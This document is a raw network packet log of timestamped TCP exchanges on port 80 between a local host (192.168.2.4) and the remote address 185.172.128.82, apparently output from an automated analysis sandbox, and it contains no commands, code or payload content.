May 23, 2024 23:33:08.237430096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237445116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237467051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237498045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237526894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237560034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237585068 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237592936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237602949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237644911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237674952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237709999 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237730980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237756968 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237812042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237844944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237869024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237876892 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237889051 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237910032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237926006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237943888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.237961054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.237977028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.238001108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.238024950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.240458012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.240493059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.240520954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.240559101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316587925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316656113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316692114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316728115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316760063 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316787004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316792965 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316787004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316787004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316787004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316845894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316860914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316880941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316907883 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316915989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316931009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316950083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.316962957 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.316983938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.317003965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.317017078 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.317034960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.317054033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.317080021 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.317106009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.321873903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.322046041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328286886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328320980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328371048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328403950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328490019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328490019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328490019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328490019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328490019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328524113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328571081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328571081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328591108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328641891 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328645945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328675032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328699112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328710079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328718901 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328742981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328761101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328775883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328798056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328829050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328901052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328934908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328959942 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328967094 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.328979015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.328999996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329015970 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329032898 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329057932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329078913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329260111 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329312086 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329334974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329344988 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329365015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329380035 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329396009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329412937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329432964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329447985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329477072 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329479933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329495907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329514980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329530954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329549074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329567909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329598904 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329612017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329644918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329677105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329675913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329704046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329725027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329749107 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329757929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329792023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329818964 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329824924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329838037 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329859018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329876900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329891920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329906940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329941988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.329960108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.329993963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330023050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330027103 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330045938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330075026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330379009 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330411911 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330437899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330444098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330456972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330497026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330478907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330540895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330558062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330574036 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330589056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330626011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330631018 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330658913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330682039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330693007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330709934 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330727100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330740929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330760956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330785990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330811977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330843925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330854893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330854893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330878019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330892086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330910921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330929995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330960989 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.330961943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.330991030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331021070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331024885 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331043005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331060886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331073046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331094027 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331127882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331146955 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331159115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331171989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331192970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331212044 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331224918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331249952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331259012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331276894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331293106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331315994 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331325054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331337929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331358910 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331382990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331391096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331404924 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331423998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331439972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331458092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331484079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331490993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331505060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331525087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331542969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331556082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331573009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331592083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331604004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331645012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331659079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331712961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331713915 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331768036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331816912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331849098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331881046 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331897020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331897020 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331922054 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.331931114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.331964970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332021952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332027912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332062006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332086086 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332093954 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332114935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332128048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332138062 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332165003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332181931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332197905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332220078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332250118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332428932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332462072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332484961 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332494974 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332508087 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332529068 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332550049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332561970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332587004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332597017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332604885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332629919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.332649946 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.332679987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.333066940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.333123922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407107115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407242060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407274008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407318115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407318115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407319069 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407331944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407367945 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407399893 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407402039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407418966 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407442093 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407453060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407496929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407522917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407556057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407572031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407604933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407608032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407643080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407655954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407675982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407689095 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407713890 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407725096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407748938 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.407763004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.407803059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.412132978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.412273884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.416291952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.416430950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417027950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417061090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417093039 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417170048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417170048 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417207003 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417213917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417263985 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417264938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417298079 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417314053 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417331934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417345047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417373896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417378902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417424917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417428017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417459011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417485952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417491913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417498112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417541027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417542934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417581081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417592049 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417614937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417628050 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417644978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417673111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417695999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417697906 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417735100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417768002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417788029 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417802095 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417819023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417836905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417846918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417870998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417884111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417906046 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417918921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417938948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417954922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.417979956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.417989969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418014050 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418025017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418047905 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418061972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418081045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418097019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418131113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418134928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418184996 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418184996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418219090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418236971 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418253899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418265104 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418287992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418303013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418323040 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418329000 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418356895 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418368101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418404102 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418407917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418459892 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418462038 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418510914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418525934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418560028 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418591976 CEST	49733	80	192.168.2.4	185.172.128.82
